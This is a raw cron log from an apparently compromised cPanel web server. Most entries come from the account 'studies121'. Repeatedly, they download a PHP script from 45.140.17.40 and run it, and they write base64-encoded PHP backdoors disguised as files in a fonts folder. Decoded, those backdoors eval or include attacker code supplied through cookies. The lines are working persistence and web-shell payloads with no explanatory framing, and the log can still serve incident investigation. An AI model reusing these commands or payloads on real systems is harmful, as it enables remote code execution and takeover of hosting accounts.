Sep 22 02:50:01 ip-184-168-122-23 CROND[32065]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:50:01 ip-184-168-122-23 CROND[32064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:50:01 ip-184-168-122-23 CROND[32069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:51:01 ip-184-168-122-23 CROND[32181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:51:01 ip-184-168-122-23 CROND[32182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:51:01 ip-184-168-122-23 CROND[32183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:51:01 ip-184-168-122-23 CROND[32186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:52:01 ip-184-168-122-23 CROND[32321]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:52:01 ip-184-168-122-23 CROND[32322]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:52:01 ip-184-168-122-23 CROND[32324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:52:01 ip-184-168-122-23 CROND[32325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:52:01 ip-184-168-122-23 CROND[32326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:53:01 ip-184-168-122-23 CROND[32495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:53:01 ip-184-168-122-23 CROND[32496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:53:01 ip-184-168-122-23 CROND[32499]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:53:01 ip-184-168-122-23 CROND[32501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:54:02 ip-184-168-122-23 CROND[32618]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:54:02 ip-184-168-122-23 CROND[32619]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:54:02 ip-184-168-122-23 CROND[32623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:54:02 ip-184-168-122-23 CROND[32622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:54:02 ip-184-168-122-23 CROND[32624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:55:01 ip-184-168-122-23 CROND[352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:55:01 ip-184-168-122-23 CROND[355]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 02:55:01 ip-184-168-122-23 CROND[354]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 02:55:01 ip-184-168-122-23 CROND[353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:55:01 ip-184-168-122-23 CROND[356]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:55:01 ip-184-168-122-23 CROND[357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:56:01 ip-184-168-122-23 CROND[474]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:56:01 ip-184-168-122-23 CROND[476]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:56:01 ip-184-168-122-23 CROND[477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:56:01 ip-184-168-122-23 CROND[478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:56:01 ip-184-168-122-23 CROND[479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:57:01 ip-184-168-122-23 CROND[580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:57:01 ip-184-168-122-23 CROND[579]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:57:01 ip-184-168-122-23 CROND[581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:57:01 ip-184-168-122-23 CROND[583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:58:01 ip-184-168-122-23 CROND[677]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:58:01 ip-184-168-122-23 CROND[680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:58:01 ip-184-168-122-23 CROND[681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:58:01 ip-184-168-122-23 CROND[678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:58:01 ip-184-168-122-23 CROND[679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:59:01 ip-184-168-122-23 CROND[777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:59:01 ip-184-168-122-23 CROND[778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:59:01 ip-184-168-122-23 CROND[779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:59:01 ip-184-168-122-23 CROND[781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:00:01 ip-184-168-122-23 CROND[943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:00:01 ip-184-168-122-23 CROND[946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:00:01 ip-184-168-122-23 CROND[947]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:00:01 ip-184-168-122-23 CROND[954]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 03:00:01 ip-184-168-122-23 CROND[956]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 03:00:01 ip-184-168-122-23 CROND[957]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:00:01 ip-184-168-122-23 CROND[955]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 03:00:01 ip-184-168-122-23 CROND[958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:01:01 ip-184-168-122-23 CROND[1129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:01:01 ip-184-168-122-23 CROND[1128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:01:01 ip-184-168-122-23 CROND[1138]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 03:01:01 ip-184-168-122-23 CROND[1137]: (root) CMD (run-parts /etc/cron.hourly)
Sep 22 03:01:01 ip-184-168-122-23 CROND[1136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:01:01 ip-184-168-122-23 CROND[1141]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[1137]: starting 0anacron
Sep 22 03:01:01 ip-184-168-122-23 anacron[1154]: Anacron started on 2026-09-22
Sep 22 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[1157]: finished 0anacron
Sep 22 03:01:01 ip-184-168-122-23 anacron[1154]: Will run job `cron.daily' in 39 min.
Sep 22 03:01:01 ip-184-168-122-23 anacron[1154]: Jobs will be executed sequentially
Sep 22 03:02:01 ip-184-168-122-23 CROND[1267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:02:01 ip-184-168-122-23 CROND[1266]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:02:01 ip-184-168-122-23 CROND[1270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
